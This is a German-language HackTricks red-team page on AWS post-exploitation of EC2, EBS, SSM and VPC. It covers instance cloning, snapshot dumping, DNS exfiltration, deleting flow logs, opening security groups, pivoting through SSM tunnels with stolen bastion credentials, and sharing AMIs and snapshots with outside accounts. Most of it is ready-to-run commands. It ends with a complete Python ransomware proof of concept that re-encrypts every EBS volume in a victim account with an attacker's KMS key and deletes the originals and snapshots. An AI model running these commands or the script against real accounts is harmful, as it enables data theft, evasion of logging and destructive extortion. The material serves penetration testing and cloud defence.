AWS - EC2, EBS, SSM & VPC Post Exploitation

Reading time: 14 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

EC2 & VPC

Für weitere Informationen siehe:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Bösartiges VPC-Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC-Traffic-Mirroring dupliziert den eingehenden und ausgehenden Verkehr für EC2-Instanzen innerhalb eines VPC ohne die Notwendigkeit, etwas auf den Instanzen selbst zu installieren. Dieser duplizierte Verkehr würde normalerweise an etwas wie ein Netzwerk-Intrusion-Detection-System (IDS) zur Analyse und Überwachung gesendet.
Ein Angreifer könnte dies ausnutzen, um den gesamten Verkehr zu erfassen und sensible Informationen daraus zu erhalten:

Für weitere Informationen siehe diese Seite:

AWS - Malicious VPC Mirror

Laufende Instanz kopieren

Instanzen enthalten normalerweise eine Art von sensiblen Informationen. Es gibt verschiedene Möglichkeiten, um Zugang zu erhalten (siehe EC2-Privilegieneskalationstricks). Eine andere Möglichkeit, um zu überprüfen, was sie enthält, besteht darin, eine AMI zu erstellen und eine neue Instanz (sogar in Ihrem eigenen Konto) daraus zu starten:

shell
# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots sind Backups von Volumes, die normalerweise sensible Informationen enthalten, daher sollte die Überprüfung dieser Informationen offenbaren.
Wenn Sie ein Volume ohne Snapshot finden, könnten Sie: Einen Snapshot erstellen und die folgenden Aktionen durchführen oder es einfach in einer Instanz innerhalb des Kontos einbinden:

AWS - EBS Snapshot Dump

Data Exfiltration

DNS Exfiltration

Selbst wenn Sie eine EC2 so absichern, dass kein Verkehr nach außen gelangen kann, kann sie immer noch via DNS exfiltrieren.

  • VPC Flow Logs werden dies nicht aufzeichnen.
  • Sie haben keinen Zugriff auf AWS DNS-Logs.
  • Deaktivieren Sie dies, indem Sie "enableDnsSupport" auf false setzen mit:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Kontos aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird in der Lage sein, die exfiltrierten Daten in den Cloudtrail-Logs zu sehen.

Open Security Group

Sie könnten weiteren Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:

bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc zu ECS

Es ist möglich, eine EC2-Instanz zu starten und sie zu registrieren, um ECS-Instanzen auszuführen, und dann die Daten der ECS-Instanzen zu stehlen.

Für weitere Informationen siehe hier.

VPC-Flussprotokolle entfernen

bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Erforderliche Berechtigungen:

  • ssm:StartSession

Neben der Ausführung von Befehlen ermöglicht SSM das Tunneln von Datenverkehr, was missbraucht werden kann, um von EC2-Instanzen zu pivotieren, die aufgrund von Sicherheitsgruppen oder NACLs keinen Netzwerkzugang haben. Ein Szenario, in dem dies nützlich ist, ist das Pivotieren von einem Bastion Host zu einem privaten EKS-Cluster.

Um eine Sitzung zu starten, benötigen Sie das SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. Installieren Sie das SessionManagerPlugin auf Ihrem Computer
  2. Melden Sie sich mit dem folgenden Befehl am Bastion EC2 an:
shell
aws ssm start-session --target "$INSTANCE_ID"
  1. Holen Sie sich die temporären Bastion EC2 AWS-Anmeldeinformationen mit dem Abusing SSRF in AWS EC2 environment Skript
  2. Übertragen Sie die Anmeldeinformationen auf Ihren eigenen Computer in die Datei $HOME/.aws/credentials als [bastion-ec2] Profil
  3. Melden Sie sich bei EKS als Bastion EC2 an:
shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. Aktualisieren Sie das server-Feld in der Datei $HOME/.kube/config, um auf https://localhost zu verweisen.
  2. Erstellen Sie einen SSM-Tunnel wie folgt:
shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. Der Verkehr vom kubectl-Tool wird jetzt über den SSM-Tunnel über die Bastion EC2 weitergeleitet, und Sie können auf den privaten EKS-Cluster von Ihrem eigenen Computer aus zugreifen, indem Sie Folgendes ausführen:
shell
kubectl get pods --insecure-skip-tls-verify

Beachten Sie, dass die SSL-Verbindungen fehlschlagen, es sei denn, Sie setzen das Flag --insecure-skip-tls-verify (oder dessen Äquivalent in K8s-Audit-Tools). Da der Datenverkehr durch das sichere AWS SSM-Tunnel geleitet wird, sind Sie vor jeglichen MitM-Angriffen geschützt.

Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Sie können beliebige Domains und Ports festlegen, um zu einem anderen AWS-Dienst oder einer benutzerdefinierten Anwendung zu pivotieren.

Share AMI

bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Suche nach sensiblen Informationen in öffentlichen und privaten AMIs

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel ist ein Tool, das entwickelt wurde, um nach sensiblen Informationen innerhalb öffentlicher oder privater Amazon Machine Images (AMIs) zu suchen. Es automatisiert den Prozess des Startens von Instanzen aus Ziel-AMIs, des Einbindens ihrer Volumes und des Scannens nach potenziellen Geheimnissen oder sensiblen Daten.

EBS-Snapshot teilen

bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Ein Proof of Concept ähnlich der Ransomware-Demonstration, die in den S3-Post-Exploitation-Notizen gezeigt wurde. KMS sollte in RMS umbenannt werden, da es so einfach ist, verschiedene AWS-Dienste damit zu verschlüsseln.

Zuerst aus einem 'Angreifer'-AWS-Konto, erstellen Sie einen kundenverwalteten Schlüssel in KMS. Für dieses Beispiel lassen wir AWS die Schlüsseldaten für mich verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Schlüsseldaten außerhalb der Kontrolle von AWS behalten. Ändern Sie die Schlüsselrichtlinie, um es jedem AWS-Konto-Principal zu ermöglichen, den Schlüssel zu verwenden. Für diese Schlüsselrichtlinie war der Name des Kontos 'AttackSim' und die Richtlinienregel, die allen Zugriff erlaubt, heißt 'Outside Encryption'

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Die Schlüsselrichtlinienregel muss Folgendes aktiviert haben, um die Möglichkeit zu ermöglichen, ein EBS-Volume zu verschlüsseln:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

Jetzt mit dem öffentlich zugänglichen Schlüssel. Wir können ein 'Opfer'-Konto verwenden, das einige EC2-Instanzen mit unverschlüsselten EBS-Volumes hat. Die EBS-Volumes dieses 'Opfer'-Kontos sind das Ziel unserer Verschlüsselung, dieser Angriff erfolgt unter der Annahme eines Kompromisses eines hochprivilegierten AWS-Kontos.

Pasted image 20231231172655 Pasted image 20231231172734

Ähnlich wie im S3-Ransomware-Beispiel. Dieser Angriff wird Kopien der angehängten EBS-Volumes mithilfe von Snapshots erstellen, den öffentlich verfügbaren Schlüssel aus dem 'Angreifer'-Konto verwenden, um die neuen EBS-Volumes zu verschlüsseln, dann die ursprünglichen EBS-Volumes von den EC2-Instanzen trennen und löschen und schließlich die Snapshots löschen, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. Pasted image 20231231173130

Dies führt dazu, dass nur verschlüsselte EBS-Volumes im Konto verbleiben.

Pasted image 20231231173338

Es ist auch erwähnenswert, dass das Skript die EC2-Instanzen gestoppt hat, um die ursprünglichen EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.

Pasted image 20231231173931

Als Nächstes kehren Sie zur Schlüsselrichtlinie im 'Angreifer'-Konto zurück und entfernen die Richtlinienregel 'Outside Encryption' aus der Schlüsselrichtlinie.

json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Warten Sie einen Moment, bis die neu festgelegte Schlüsselrichtlinie propagiert ist. Kehren Sie dann zum 'Opfer'-Konto zurück und versuchen Sie, eines der neu verschlüsselten EBS-Volumes anzuhängen. Sie werden feststellen, dass Sie das Volume anhängen können.

Pasted image 20231231174131 Pasted image 20231231174258

Aber wenn Sie versuchen, die EC2-Instanz mit dem verschlüsselten EBS-Volume tatsächlich wieder zu starten, wird es einfach fehlschlagen und für immer vom 'pending'-Zustand zurück in den 'stopped'-Zustand wechseln, da das angehängte EBS-Volume mit dem Schlüssel nicht entschlüsselt werden kann, da die Schlüsselrichtlinie dies nicht mehr zulässt.

Pasted image 20231231174322 Pasted image 20231231174352

Dies ist das verwendete Python-Skript. Es nimmt AWS-Credentials für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLEN EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST ZERSTÖRERISCH UND WIRD ALLE ORIGINALEN EBS-VOLUMEN LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, möchten Sie jedoch darauf hinweisen, dass dies letztendlich ein Ransomware-PoC ist.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks